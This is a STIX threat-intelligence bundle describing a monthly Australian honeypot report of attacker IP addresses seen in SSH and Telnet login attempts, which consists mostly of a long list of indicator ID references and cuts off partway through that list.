{
  "id": "bundle--10aa142c-86c8-4132-a90f-915ea1882c7b",
  "objects": [
    {
      "created": "2026-05-01T00:15:28.874Z",
      "created_by_ref": "identity--ab072f15-9b87-4ee1-898f-b584d41f29b0",
      "description": "Rolling monthly view of attacker IPv4 addresses observed via SSH and Telnet authentication attempts against Cowrie and Heralding honeypots on a T-Pot CE instance. Each run looks back the last 1h and appends newly seen indicators for this calendar month. Signals are deduplicated to unique sources; private IPs may be included depending on configuration. Intended for defensive use; source infrastructure may be compromised, misattributed, or spoofed. Location: Australia.",
      "id": "report--10aa142c-86c8-4132-a90f-915ea1882c7b",
      "labels": [
        "threat-report"
      ],
      "modified": "2026-05-31T23:15:28.620Z",
      "name": "SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "object_refs": [
        "identity--ab072f15-9b87-4ee1-898f-b584d41f29b0",
        "indicator--f0e21e54-f31d-4973-bd59-febe882a0168",
        "indicator--703c77df-c0aa-4890-880a-5370c5a488f2",
        "indicator--8cb08f07-f772-4023-afbe-d8830c6df74b",
        "indicator--023793cb-2598-4702-ad5e-6cedd88935ce",
        "indicator--db32ec0e-d05d-466a-8b0c-594682ed7888",
        "indicator--245563b2-b937-4a67-a941-e39a5a65ea3f",
        "indicator--387d29c6-2bc4-493f-8254-c19bf03e5716",
        "indicator--afbb2818-1215-4df4-bc60-2174992cc157",
        "indicator--c2d499ce-bd9a-4bab-b67f-104629804ebc",
        "indicator--c85ebcbc-6fa1-490d-831a-936638b75562",
        "indicator--ab3e778e-5716-4857-8d10-9b3ef297571d",
        "indicator--9e96235e-911f-42f4-a5d4-9394d55a71ce",
        "indicator--a8d113d9-18b2-437a-93e6-491a172384af",
        "indicator--22c1eb3b-c6ee-4297-b420-8be56baef6f3",
        "indicator--e08e14c6-b164-4267-a80b-00782f42796c",
        "indicator--eb933212-31b0-4d5f-a99e-c9d25b2bf826",
        "indicator--ad0543e9-cb1e-4d80-bf50-6bc64209f075",
        "indicator--7b381112-b658-46d1-8c59-b706612b6d6c",
        "indicator--07494f95-3dca-41bb-90be-b4ac2d0f1303",
        "indicator--9a834683-18dd-48ea-9313-2e8e9d1d6ee2",
        "indicator--936cabd3-f936-42dd-aa4a-8338eff68641",
        "indicator--8c49b8af-4add-4c9b-aef9-9d7be4bdcd1f",
        "indicator--20e59cd0-b8ec-4a54-a501-1777571b714e",
        "indicator--85000b9f-a2ce-4755-b615-f2e1e476d166",
        "indicator--4c07ecd9-7afa-4822-acf7-b35779cadbb0",
        "indicator--539b52cf-e27f-4a4e-b93c-ed465e25241b",
        "indicator--1cb39976-0a54-43f1-97f2-55c36ac28057",
        "indicator--c0a4ba6f-c234-409f-a489-51f016d0c5c6",
        "indicator--a09a488c-d3e0-43f7-86c8-5338f305ced7",
        "indicator--f7e79d24-8eb7-4b8c-8444-c3e05e7b66a7",
        "indicator--00480bd9-1a39-4047-82a0-a4cc3db3ac72",
        "indicator--34492354-031b-4f0c-ac70-5e2bb7c97b62",
        "indicator--3e17111e-ff03-412e-a094-f99c3214318e",
        "indicator--07267300-f41a-446c-82c2-9039a75e0ce0",
        "indicator--2bd708a2-2567-4635-8d25-4eff64c55e8a",
        "indicator--b1c2e515-5081-4412-88ad-27557e191554",
        "indicator--a4d45cc6-26ae-4c95-9867-022a82f8e4fa",
        "indicator--17c161bd-2689-4309-b3cd-47d041cc9bee",
        "indicator--36e283c4-7868-4e12-bd92-98c14d2d5093",
        "indicator--2a70b25e-f272-4389-8c5f-ec328218eb5f",
        "indicator--c0f198a3-8ea0-4383-9485-d9ac7e83b287",
        "indicator--0c725f8a-7843-4dbf-8b78-c6ca6cc0624d",
        "indicator--61c60eeb-052f-4755-9152-4f87138a7de9",
        "indicator--d82281bb-dd51-4528-a5c7-b923a629d48f",
        "indicator--ba96806f-a6be-4767-b64e-8a0f5f3e8c94",
        "indicator--97732280-169d-41a2-b6b6-b1d29fd9c182",
        "indicator--902963dd-2772-439e-8503-e37650366ea7",
        "indicator--12244d77-7ff7-494d-a5f7-c1109e11971b",
        "indicator--e987a364-ffcf-4c48-920b-627d42084ea0",
        "indicator--a15356b8-7ae6-4d96-ad5d-c1eeea77475c",
        "indicator--d85e4dd0-5b9c-4c12-8ccd-358b68771eb9",
        "indicator--4c56db48-aefe-4a4d-9e8b-9b7d2f7cc98a",
        "indicator--add03040-9a9e-4250-8cec-9f9d8bbe2990",
        "indicator--638c629c-2c22-4f10-bf73-703669c590f4",
        "indicator--b0229603-8716-42a2-8a7b-dad59ef1436b",
        "indicator--5a3730bd-304c-48dd-9f1c-c447dae6141a",
        "indicator--95288986-a74f-46e2-a21f-b9bc0e066b39",
        "indicator--cde27dcb-99d7-4202-b853-22b1e3c32e06",
        "indicator--be2b5242-91c2-4bb5-80bc-bf274103116c",
        "indicator--381d6b91-f7b6-4b47-b3c8-2a45870a6177",
        "indicator--e22b0672-1b01-4018-b491-3b1df40fda18",
        "indicator--44db9aa6-5285-4b2c-9c20-0efd773ccc48",
        "indicator--91c4ae3b-35a8-4d8d-be12-b6bddab28a43",
        "indicator--34cb1665-d604-433f-97a1-cb237f9f1706",
        "indicator--b7017d2a-0434-4d87-8ae9-7586124f247e",
        "indicator--8c59a276-c2d1-4c63-878f-44db7ffc16a5",
        "indicator--b424c762-67c0-41ec-a1d2-222c7edd9e12",
        "indicator--d1f39cea-e9a0-48ac-b1ed-06cdce0051cc",
        "indicator--f8d6b514-9e6e-49a4-815e-f027cc57db7b",
        "indicator--7b5f72ae-3ab2-42e0-9bae-d006ad78e4a9",
        "indicator--f3511a15-d3b8-4718-82ec-99e5b386f7ee",
        "indicator--297ae827-7012-42ee-9f78-79ea7cb4fe67",
        "indicator--84b03f10-f707-4076-9b4f-5b3440814918",
        "indicator--8889fde3-708d-4752-91b6-6f9c64ef94a2",
        "indicator--fc16af67-1a5a-4cd6-af85-4f3a2eebb3e5",
        "indicator--8520eb37-37f8-4954-b615-66c3a9d789e7",
        "indicator--abfb0be8-5e4d-494b-81f9-a11ad963bf73",
        "indicator--63c85f5f-f8f3-470e-86f6-8c5d5e8d4ca7",
        "indicator--2082f7e6-eaed-4ffe-afd2-87d04cb35f38",
        "indicator--c77a37da-cb1e-44c8-8c39-c43b206cbd54",
        "indicator--4bda7156-45e4-4070-bc1e-b69fed1d8aea",
        "indicator--ab5f7885-2a37-4897-9c98-6b253e6e269f",
        "indicator--e1fa0d4e-4416-46b6-b4cb-6822ae78b545",
        "indicator--365e732f-7cb4-46d8-8fe9-d81e24fb2ee8",
        "indicator--3202fc8b-1b8f-4028-bd72-bed9fc8ed381",
        "indicator--581ec440-6f99-4ae4-a7ee-b5957bf0716e",
        "indicator--03077c4c-0f99-4651-a3e9-1c5e8c0ce35f",
        "indicator--3c476f92-b047-4328-b076-e39953402417",
        "indicator--09729160-bb3f-4b0b-9d0e-d2d5fc5f3d97",
        "indicator--fd211923-1a22-451d-9dbc-031b2eabf449",
        "indicator--62ad3c56-a2a6-4ca4-b286-28df652485b1",
        "indicator--fcceb29f-07e1-4a54-b9a1-3d4bf2a92fbb",
        "indicator--858f6349-b242-41fc-a083-22bcd579e0b4",
        "indicator--dad97b6e-1c46-46ae-bb68-a93996be1946",
        "indicator--f29fad5b-2f30-4406-b3a6-d274da407359",
        "indicator--e55feab6-affe-4a4f-9f9e-f84dabb1dcbc",
        "indicator--f2a6c55d-48e2-403d-bcad-1108df17ce90",
        "indicator--066a7b8e-2e5f-47c7-b0b4-38e19fc4f2e3",
        "indicator--ede482fa-5f9b-4944-a812-60bc324340e8",
        "indicator--670c1b50-bda8-481f-889d-caef6f71251d",
        "indicator--593abc9a-1970-4805-859a-7643cbfd4afe",
        "indicator--b8fd9610-f9fb-4a0a-8859-58e2c86ee9da",
        "indicator--7d50ca32-aa56-4d2a-909c-958ed6f75625",
        "indicator--c26d2a46-01e8-4828-9153-135cecd69255",
        "indicator--a3f4728f-7a5b-40da-ba83-96c0749d06a3",
        "indicator--39bbd389-9cf8-40ae-b342-7103c8321637",
        "indicator--9d41697d-5a52-435a-9562-5f4b89f48715",
        "indicator--37ae065c-4338-4a81-b2df-f98eea18f855",
        "indicator--60f1f038-3a20-43ce-9109-6df8bd30c60a",
        "indicator--6891b6a6-f9ef-4d04-84bf-9ba9e8ae9a34",
        "indicator--96406af3-9525-4429-bced-52148d78eab6",
        "indicator--f1897df5-7c39-4f42-8c70-13b9a4b31a79",
        "indicator--615da02e-e6c4-4b25-be06-05c0663fe679",
        "indicator--48c96326-afca-4f8e-8894-7cf327dc4557",
        "indicator--59e493b5-a275-45fe-929c-d0a3c2b60511",
        "indicator--719139e5-72b6-48c9-b19e-ffdfb43af373",
        "indicator--d7a56309-e35f-4dff-9792-35af265b64d4",
        "indicator--ffc8e8d4-2895-4340-98f7-8672a057d2d6",
        "indicator--8454eba7-d5fd-42ab-9c34-cf0ad5dda516",
        "indicator--992c844a-0133-407a-9b70-84b1e4534522",
        "indicator--1402bf9a-5a49-48fc-9281-c32e75fdbd82",
        "indicator--44995eaf-d95e-4247-a384-48d918eac486",
        "indicator--ebfec44d-d6de-4f54-81d7-41d02dd40d8a",
        "indicator--e7504330-b5d6-4e44-9dd8-36caa7c5a215",
        "indicator--f0f6038d-3508-4937-960d-5f84aaadc8b1",
        "indicator--3accbb2b-e3b0-4199-b9ee-dfe978532d60",
        "indicator--1aee118d-9af5-4264-9ce0-195c808637ba",
        "indicator--bcb4aa49-9b29-43cd-a0dc-42ea60836f09",
        "indicator--4ddcc6aa-563e-4320-bf14-589ed64e71a1",
        "indicator--3385c3f9-1122-4bbd-9fbf-b0597997dbd2",
        "indicator--4b0de61f-95ee-4d2a-952f-16a5fba076ba",
        "indicator--7401d085-e6af-4d53-9b64-fa5347e0d8fe",
        "indicator--0bb7ed29-bef6-471a-8b67-33e2f0b883fb",
        "indicator--e18744bd-3285-47ca-a405-7fa7a3a2a65f",
        "indicator--db67f1ce-edf8-4f91-8b1b-b53375964506",
        "indicator--28bdbe16-eb40-4cd7-8523-1689b8b34e27",
        "indicator--b8480fa0-5d3d-4c38-9049-e5b4b7d5ea5b",
        "indicator--b60b0256-5e7a-493c-b2df-a37b3482e249",
        "indicator--82431746-aeb7-40e9-9b06-b9ea67908e84",
        "indicator--b77779ca-01a6-491c-929f-582a58b172ad",
        "indicator--f1abf176-1b66-4aeb-bc29-7f1d8b6e94a5",
        "indicator--25c2b6cf-8b9c-46d4-8f34-d595d84e5f5d",
        "indicator--d3f66f98-88eb-422c-838a-52d9e2e9aca3",
        "indicator--2ad3b985-54c3-4d7d-8414-a0b9ad37504b",
        "indicator--abeea730-de5f-404e-a863-059ea30c5aec",
        "indicator--45af2433-8601-472b-8f65-c5be07e9d6a9",
        "indicator--ea539040-d106-4a71-846c-081d225d8230",
        "indicator--39c1ce4d-25d6-4cb8-9fdf-1f3c546540c3",
        "indicator--367d6c06-a412-4d94-af87-85bbb0642313",
        "indicator--8cbe36e7-da24-449e-9e7a-fb04d3c8e87f",
        "indicator--ac4c6ddb-6e1a-48c5-8f9b-7124e7eb3d25",
        "indicator--3ba0f4e0-b0d9-42f6-939a-64ddf103d91a",
        "indicator--5e1bf82c-1434-4c5e-bb7f-e11e784d6a2d",
        "indicator--caf96308-34fe-422b-877b-0be302a139bf",
        "indicator--4353a37a-809d-41f6-bbd3-2bc023b8b03f",
        "indicator--5563be00-bb25-4571-9534-e547d4e0354d",
        "indicator--1d8fc362-08a9-4969-b967-8fb71a30a12f",
        "indicator--994ddbdc-d2a2-498e-84d0-fa6946b17a12",
        "indicator--8ee7b1ed-5cf7-464d-8ef6-854e2f125411",
        "indicator--84ed6a20-4a21-49a1-8344-262e89b952f8",
        "indicator--079f05b2-7f66-4dfa-85fb-3c154a8f5b6d",
        "indicator--7167a047-2bb4-4e9b-ae5f-aaa6c192b30c",
        "indicator--f20a2aad-192a-4cc9-a949-8d200a1ea23d",
        "indicator--50fcdd6d-9e65-439d-91c6-99573da9b443",
        "indicator--93f94244-f44c-4da1-979a-65bb1ec12224",
        "indicator--5707027d-6808-4163-a3a2-881f14049e88",
        "indicator--86f7bb31-0a28-4fe5-94e2-e88017f44c68",
        "indicator--88a10013-72ea-457b-991c-84beb5b67230",
        "indicator--5acf7b5c-6c24-4ee0-ad9e-f9fe8c06ce6d",
        "indicator--7eba630e-5f10-44af-9a6f-164687715ad8",
        "indicator--7f1e4b85-5d98-4f8b-bb00-8784f5fff7b6",
        "indicator--f8ef1f19-b447-4cd8-ad7b-2c83a94e8c9c",
        "indicator--d71b73e0-5216-4557-a377-8028b2352ee9",
        "indicator--4bc1f96c-edb3-4dbf-812e-396b4c201e50",
        "indicator--0b55eba6-67a2-431a-9eb8-96dfb2b4b2d9",
        "indicator--ebaa365e-b150-4b11-b99a-afe7e557c1f5",
        "indicator--e6dd84bc-ebf1-49d9-ac3c-6d4b833c511e",
        "indicator--7198f439-cbcc-4a6f-af46-ee46e1f4a425",
        "indicator--73878145-7df7-45a3-ad90-c3a2fb0f871d",
        "indicator--430b6582-c8d8-43a3-aaf9-05ff2053d8ca",
        "indicator--0dbd7835-327f-4ad2-8a43-fe624394fad7",
        "indicator--ac9ac77c-778c-4c5e-8479-667dab29b3d8",
        "indicator--4bdf7722-51e7-4c2d-846b-0b2ddc6fefa5",
        "indicator--f6c27fc4-9fab-4cb2-bf90-cd176a4a4a81",
        "indicator--8445334f-d89f-454a-af54-c7d316eb72c9",
        "indicator--0d4326db-e3f4-497e-b3bd-fb068be84b6e",
        "indicator--3c86709e-4638-4330-a0aa-4e8cc9996c40",
        "indicator--e96d97ba-51de-45fd-8ff6-7efed94bd5bb",
        "indicator--fe34c1ed-7d85-4e9b-9d35-0933e221249f",
        "indicator--21152724-b5f5-47a1-ac40-f6253f595250",
        "indicator--5f98deb3-bd16-4403-b922-3118a9830ce1",
        "indicator--a71551c8-c6d1-4a93-ae50-2cdd5e75a482",
        "indicator--c65e9c33-a519-4e54-a3b8-731b81d6d66f",
        "indicator--4e71b00d-9c81-4dac-9723-b99bfdb238d2",
        "indicator--1f7c268b-05ec-4abf-b3a8-7db452a198f3",
        "indicator--3aff3d41-b148-4010-b9e1-ecfe2226f264",
        "indicator--212b53de-42bb-4b81-b755-8b02acb8c963",
        "indicator--c24debf3-b616-4900-b6de-e6960fdf65b5",
        "indicator--bb9368b5-71ba-4aba-bb08-64f3afff4feb",
        "indicator--1382196a-7067-45e5-b310-0c213a9fc79f",
        "indicator--7c2c797f-ff3b-4252-8c60-8fd0260e7472",
        "indicator--f51abbf2-9c14-44be-82f3-4ad6ffbfde3a",
        "indicator--e879602c-e06a-4427-85bd-ccf89140e838",
        "indicator--ecf7f155-0802-449a-8180-988add9b1c58",
        "indicator--246b70f7-1e90-408c-a78e-f669572363ad",
        "indicator--eca7dc99-12e0-4175-b5a2-cdfb0b0f137b",
        "indicator--cec6e94c-3b58-4cd0-9c22-6cd859c7724c",
        "indicator--7f4f3f05-2f81-41fd-94ce-77c4034005f9",
        "indicator--ed2685bb-d975-441e-b21e-63fc2b67d0f0",
        "indicator--eccd3953-a2fc-4bed-9a94-ac2e672dcc7e",
        "indicator--d210d562-234e-4217-8773-d78344c5fd6a",
        "indicator--f94e3c98-fe0a-4e7a-b014-ae42f52110c9",
        "indicator--488f47ac-9607-41e8-acd6-1e4ca124c831",
        "indicator--cbae1715-03f1-4b03-9c28-42ca1b21b690",
        "indicator--ed043695-e14b-4116-83c8-4642da1345b1",
        "indicator--52ba7f08-5ae0-449b-80f8-2a764c4e0c88",
        "indicator--475675af-786f-49af-9227-546474747eff",
        "indicator--dcb19685-436b-4dc4-b337-fadd3b53b1fd",
        "indicator--2adf37c6-e4cc-48fd-8e9f-7079f04f13f9",
        "indicator--5fb11b29-3cdc-4ed4-b2b7-8c3dad26a300",
        "indicator--63b08ffd-d764-40d8-b425-616779f9fe56",
        "indicator--f92aafb2-421d-4d28-96ae-e04ce0010853",
        "indicator--66ce8deb-e862-4af9-b618-f7baeca06ab9",
        "indicator--c4b15c45-05b6-482f-a3e5-e6a6339081c0",
        "indicator--6de33590-e193-41e7-ad6f-caa0da4d92bd",
        "indicator--5a91a8c8-b847-44ac-9a74-b075d1e2ccbb",
        "indicator--ebe5527c-584e-4491-9d41-a1f80313d615",
        "indicator--a8761d3b-b2a1-455f-98d2-54ce6723db4a",
        "indicator--aab9205b-cfb8-419f-90ac-fe0d25d4ec84",
        "indicator--76295ad3-0956-484e-bd01-dfc6c8d4f910",
        "indicator--fe62d51d-cbc7-403a-bee8-533d3af4a035",
        "indicator--9f36a1a4-3f8d-428d-aa06-02b816510394",
        "indicator--bbd934e1-87f0-4a00-a35b-3b60deec9c6b",
        "indicator--22365f69-1d12-48f5-ada1-099ff02833b7",
        "indicator--e91dbeaf-23a9-4401-bdfc-f97e26de7d47",
        "indicator--0306f27b-0f16-4b29-83ad-70e384398810",
        "indicator--374a8eff-152a-4212-a368-9dd3b9037892",
        "indicator--29f82a4b-4ac1-4f7a-b65c-9638009b2942",
        "indicator--2fd4aecc-4ec2-4035-8381-0a67ab0d8663",
        "indicator--1434cf2d-2f17-46ae-8d32-02ef911ef5b7",
        "indicator--f52275a2-65fd-47f6-bc12-1d49902a2bea",
        "indicator--d6836ff0-b476-4284-a5c6-6b718a6db347",
        "indicator--c278288e-9906-468b-bd07-5929e3647928",
        "indicator--48aa720b-9861-4fae-848f-eaf74203e683",
        "indicator--9012b9d9-e5c2-4ab8-abf5-f309c1bf5eda",
        "indicator--f78faf2e-5fcd-4ac5-a7a2-1f3d433d338e",
        "indicator--4120ccd7-e391-4b6f-b2b5-d5d33ddbd98c",
        "indicator--59d3ae83-218a-4314-9574-c90a01b14925",
        "indicator--5ab3537f-8720-4aa9-b9e5-fe341156870b",
        "indicator--af1ecdb1-2e3b-47b8-a473-ab93e503b4c9",
        "indicator--dc46515a-5dbe-4076-aee3-287b0217e007",
        "indicator--11a1e906-6f9e-4d65-b411-ad7cc5df60e8",
        "indicator--0bc5cb63-5a22-4003-8a02-b4f76b36121c",
        "indicator--edf5d254-bcb4-44ec-b161-bacf86a74912",
        "indicator--b8feed7e-596c-4ebc-8304-96e2bbab9274",
        "indicator--9f9d2168-3ca6-434a-94ff-259154f9ff3b",
        "indicator--1389a35c-a4b9-45f3-a410-88a18ab8e100",
        "indicator--fa0dcc62-44cc-4dd4-bb72-ba2e70afc1c6",
        "indicator--7412743b-c346-4b1f-8cf1-b39474873ee2",
        "indicator--d0dc02f0-0000-458e-8c7b-080cc71683f0",
        "indicator--7bf855b2-2c0f-4087-9891-5b8464f4f553",
        "indicator--946a5e34-7887-4b8c-8347-8f2455412e4a",
        "indicator--fd7a2a03-7645-4924-8d61-7a9ccf1fc00a",
        "indicator--6df461d4-c7c4-4360-b6fe-e786c9e5fe7d",
        "indicator--ea187d19-54d6-43ee-9292-98b7c48c0ff1",
        "indicator--8b49c659-67b8-4afc-b41d-a4ac8ef6fe58",
        "indicator--bb8bc578-2d76-4d31-ad19-a6a8122b8e14",
        "indicator--7564037f-f951-40d4-b4a1-d08bc0f3dcbd",
        "indicator--fb532e2d-6b59-4e60-9894-937caa3f5af2",
        "indicator--977ed99f-738e-4be6-ab79-c5672ef0b377",
        "indicator--987f3fed-836f-4996-bd5b-c1831a3152b3",
        "indicator--148ac717-1c79-420a-88f0-27d0b2948f7e",
        "indicator--fc069215-62bc-42d4-95b3-8f655884bdf8",
        "indicator--00b2ab8b-0fcc-4a2d-a876-33daee3e107e",
        "indicator--9f822220-2d58-4d9f-a9ff-5caeb2a141e9",
        "indicator--b94232cf-c20c-4209-b9bf-fbd424fb498e",
        "indicator--cfa7cf9d-c614-4130-99c5-4c51fea099b9",
        "indicator--1bd6233a-e3d8-4488-94ff-754864450a7c",
        "indicator--55adb66b-3292-414c-aff4-44993971d304",
        "indicator--62c92e8e-4739-4dfb-b7d3-e3c941423bcc",
        "indicator--71579dd0-b1b7-4408-91e1-0df58a4b6b27",
        "indicator--8da7fd86-050a-4f10-bc01-f4c5b4f47086",
        "indicator--b9af73bf-4cc9-442f-969d-0db0dbaac536",
        "indicator--df05d8fb-b57a-48b9-a0df-58d81dad6bcd",
        "indicator--fce652dc-a677-4fc8-833a-1a1a88730af1",
        "indicator--432ec640-2994-4937-bb9a-6a538e2f2221",
        "indicator--7b026113-2c63-4ba9-a365-81693f8d39a9",
        "indicator--f03a7c3d-54d5-4f38-8ac3-3dba51461311",
        "indicator--452a1020-05aa-4469-aaf8-9083ae747735",
        "indicator--51a592fb-a8f9-423e-87d8-c7571fe7d53f",
        "indicator--3d4c4524-ac4b-405b-b2d6-b271a9decdf5",
        "indicator--7b453c97-4a8d-425e-8f40-1629a6563a7f",
        "indicator--a94053db-6d53-4a49-95a8-6684398fee78",
        "indicator--358b12ed-08c9-4463-8fdd-151ad2bee7ee",
        "indicator--03ab2209-a44b-4f4c-ba09-0b116082f453",
        "indicator--fde3b5a3-cb0e-4b9e-8a51-efafa95168c1",
        "indicator--be884e43-4e19-4b2d-9b00-0d25e3635133",
        "indicator--95a70e3f-c2c2-4562-bfc2-8e904d2536d3",
        "indicator--99cda3c3-70df-4f03-b9da-2beaf9153580",
        "indicator--6966cb33-49cb-49e7-9e05-f22c8a823dea",
        "indicator--ee2f809b-2102-4f05-9e15-7a456c8c361d",
        "indicator--404fb6d2-fc24-454e-b6aa-c20af4f80053",
        "indicator--5cf9af8b-d6fe-478d-9e3b-990c99e85e21",
        "indicator--6ee0137e-4d1c-4caa-b438-1cd80aeb96bc",
        "indicator--2092baa0-0d5c-48f4-a164-8482fa30912c",
        "indicator--b46c1e18-656d-4805-8445-0590115db805",
        "indicator--7c5ea43f-0af2-474a-8bfb-c7bd4fc9a363",
        "indicator--9261f75e-00c4-4f43-943e-f2afad1ca381",
        "indicator--c1d97e5d-c50e-4aa1-88ad-0506ffefd100",
        "indicator--be84db24-1243-4331-a046-bee0d44272fc",
        "indicator--be7fcb19-c8b1-42e2-99fc-f1ddbd0111f6",
        "indicator--9137de74-b08c-4b5f-b9fe-dc6aea8846b1",
        "indicator--064f3b6b-075f-4d01-b3c4-519a624bbdb5",
        "indicator--85dc417d-1e34-4b27-a346-09ed9120d368",
        "indicator--76f08ad9-4ee1-4469-8e74-979fd23136f3",
        "indicator--6cf27192-d3b0-45f7-ad2f-1675708b7fcd",
        "indicator--bba71647-07b0-4a9d-89a4-4dcfae0671e0",
        "indicator--f5425fa3-d298-4163-b9d7-e5a86f6df653",
        "indicator--559ace05-d252-4998-8c5a-7780257a5a41",
        "indicator--7e23a860-00f2-4086-ad8c-390f7604c86e",
        "indicator--2169f905-303b-4958-9f0c-46b0f6bb480b",
        "indicator--84941b9a-fb92-41c0-b479-acfce04b888f",
        "indicator--ad101ca6-5e00-431e-9925-ede7b05d28c2",
        "indicator--2d1f4569-03df-4c94-a595-e90eaabb6b30",
        "indicator--186d347e-d84a-43df-ac0f-68cc67006a9d",
        "indicator--b5c4034d-57ae-4393-997c-39aa14c9f7f6",
        "indicator--9ab3aacc-dca0-47a2-a865-6a792b9ccf0e",
        "indicator--b832a95f-ad10-4dd8-b80c-15b4e5b1eded",
        "indicator--c8eb9cc4-96a1-4158-bdd3-8dd704b9da6f",
        "indicator--06929633-0e12-46e2-a977-4529f2c8a356",
        "indicator--a930e69a-0147-483f-b038-429ad8db1776",
        "indicator--a0c4a182-acca-4324-9437-874902d77370",
        "indicator--2adad580-48f8-4a86-a224-5dfd5cf2349c",
        "indicator--524fc464-4ef3-49cf-b5db-bbe8ac3b3586",
        "indicator--9f071f9a-9a8e-453c-87cb-5b70aefa40e6",
        "indicator--89f62eb1-563d-46c7-be77-b57faaaf7ee1",
        "indicator--66313e21-88a2-47b5-ae8a-cc580a965861",
        "indicator--58fc84ad-0d25-489d-a8ee-e9ae6af5903a",
        "indicator--29b48783-3796-497e-8568-0f82b270007e",
        "indicator--8c85fafd-3a56-4d42-ad58-bb9392884a10",
        "indicator--35443ad1-02b2-41ad-9d8b-16f036a73a19",
        "indicator--54340f22-350c-460a-85e9-049af447ae69",
        "indicator--40432111-4d87-4d65-b9f4-36745bbca4f0",
        "indicator--e08e27db-9fdd-419d-82c1-89a7a69b5399",
        "indicator--15430ed4-4385-407d-9008-eb8800cbce6f",
        "indicator--60152a68-fb75-44fe-af0a-325f11cfc1ef",
        "indicator--fc31b342-6296-4687-847c-cddf3825b34d",
        "indicator--4f38f537-c604-4715-9442-996631db8b80",
        "indicator--7c985cce-b36a-4684-9b43-9f8aac6246f0",
        "indicator--a97990ea-2cb8-4b9c-8866-1e4515718515",
        "indicator--4e39b57e-eba1-49f9-a190-a4622896405e",
        "indicator--4a73afe0-84d1-419c-9ff0-511100ed3881",
        "indicator--119b186d-a8c6-4b55-92a5-4aac6c10e141",
        "indicator--5aa54ed8-3e99-48d2-b599-306d8697f99a",
        "indicator--519cd26f-5d7b-4fe7-a420-c53aec2ffadf",
        "indicator--d8c64e39-220a-44b0-9a88-8ca13daa93b9",
        "indicator--e96a61e1-45b0-46a0-9437-2fe1aa7a206e",
        "indicator--c73e2067-78e5-4ab5-947d-3defff0a7a3c",
        "indicator--b59ea6dc-7667-4e21-802a-ecbaf324db1d",
        "indicator--a3fc857f-6890-4715-bf42-2cd1d09fbe0c",
        "indicator--1c2ca2fa-62db-4f48-bcfc-94978d9f7292",
        "indicator--21fb99fe-88b6-4e50-9e6d-99bbbda90d9b",
        "indicator--c4efd191-ee04-4877-8010-0c4378faac0a",
        "indicator--df3a6cbc-de79-4321-b9f7-b25ff7d316be",
        "indicator--f4953723-72d0-4f23-b159-ea37975dfad3",
        "indicator--47a400b6-85af-4ee2-bf4a-582b39d460c5",
        "indicator--a34e0344-e806-4bda-8d84-4bdd85972124",
        "indicator--0fda9b99-3822-417d-aa16-2d4eaa821564",
        "indicator--6365a7f2-56c7-4572-90cb-94740c741e3c",
        "indicator--590bac27-f00c-41c5-b529-b9ee7578631c",
        "indicator--1625692d-b339-43d1-a64e-2a4a0165801e",
        "indicator--93c62a19-9ee2-425b-9f54-dae15f550671",
        "indicator--602a8ee9-292c-49fd-b5f5-32bf3a9e74fb",
        "indicator--4b83a80c-a2ca-431b-8338-8f550f4f3426",
        "indicator--c3ce7385-b12e-47d9-8a18-23b77b482eab",
        "indicator--3af0758f-eccc-40b0-b4d2-048430c3b060",
        "indicator--7a672e8f-e376-45bc-85be-bc1cf2ee96f4",
        "indicator--33070d68-6fde-4ed1-a39a-d935b374021c",
        "indicator--2a501af0-57c5-4986-afd2-8fa250a38069",
        "indicator--d2481155-3242-4d02-a81e-10a8f662e80a",
        "indicator--d7497fef-39d8-4a61-8f76-cf1f045a6361",
        "indicator--ae0ee51e-9173-4f32-9813-bf8de657e473",
        "indicator--e2776268-a69b-493c-89a9-a085b0b49f31",
        "indicator--7fde3635-1005-4775-8ef3-de5cd9d97f03",
        "indicator--8777b5a4-1460-49f7-872e-0f01672c6889",
        "indicator--3d4bdc0a-5904-41ce-8796-f7afbe8f838a",
        "indicator--a8869771-63ee-46d9-b536-33423bbd48c6",
        "indicator--44bda029-0431-4b8a-8440-8c85ab47a30d",
        "indicator--7cc1312f-3133-4b10-bfeb-94dc0ca7f673",
        "indicator--271d58fb-393d-4db8-8a71-6435018ff0a0",
        "indicator--b79a2911-3237-474f-9f68-ba7eacd4fbb3",
        "indicator--a05031c9-8024-4183-b887-89e23a4809ee",
        "indicator--e6941cda-fd56-4baf-ae52-2d844c49dd1c",
        "indicator--76f3b795-e9e0-4b09-9859-243ba02c55c3",
        "indicator--6bf5d3d0-8dc0-4ab9-9175-e92b8c064089",
        "indicator--399636ce-1d03-4457-9538-babffa06a65f",
        "indicator--f340eee8-3e4f-4411-99a6-b7b218bcbfd4",
        "indicator--5bdfdd50-8843-4c47-8f1e-f099097d1c35",
        "indicator--b5c11304-e0de-4780-b3d0-b2020de828f6",
        "indicator--40e0308d-8981-4583-9c93-6c071663b6b5",
        "indicator--2667bfac-465a-4a77-a503-d39229fcd181",
        "indicator--c7073241-21a3-4f93-a6ec-0052e76f4898",
        "indicator--604a29f1-4bb4-4507-a827-e83e83cd8f2c",
        "indicator--3fc7b966-03e5-4d6a-a8d1-9c8275d71ef6",
        "indicator--1562231c-f358-474a-9b87-38af27abb0a1",
        "indicator--46d982ff-42ba-48f8-837c-721c887b9e58",
        "indicator--aca45d07-cf5c-42b1-849f-ea227acaddfa",
        "indicator--0d8a21aa-2d39-4a64-925a-8fbdac50564e",
        "indicator--13540206-6aac-48c9-a203-9b711503e530",
        "indicator--4e20489a-1e5a-4433-9d71-133d54516cf9",
        "indicator--eb371501-1dd6-48a3-893c-782f17046682",
        "indicator--71f700a0-e12c-4965-85c0-9101a1e68029",
        "indicator--4c6707cf-1203-4619-aad3-5190dc6bab15",
        "indicator--cefa3568-da76-4a69-92c0-b3d019af4e51",
        "indicator--18c66c70-cede-4bf1-ba84-87fb0c0eb660",
        "indicator--5e78e570-e2e0-4002-ad7d-259068bfac9d",
        "indicator--636ceec1-780a-431f-8d5e-6c243c379770",
        "indicator--0115c751-eac3-430c-beaf-bc079d8b8784",
        "indicator--b43be287-245c-4349-9391-49eb8942821e",
        "indicator--707fccf9-6530-4e96-bc94-c2dcbe7a5c20",
        "indicator--311be514-cf0f-48e4-b3cb-f1c8d595113c",
        "indicator--5132bc4e-ece0-4df5-ae97-269f61211467",
        "indicator--8f8d07f0-fe6a-4119-b4be-83861320c54a",
        "indicator--2079f1f9-e863-4150-a0e4-635e3b0ad796",
        "indicator--c1ecdc01-23c3-4730-82fa-0d49feca56c3",
        "indicator--a2fbd0b3-d2ca-4e84-9309-bf5bfbe10e01",
        "indicator--db787301-9c02-42df-ba2f-67af6f8de11d",
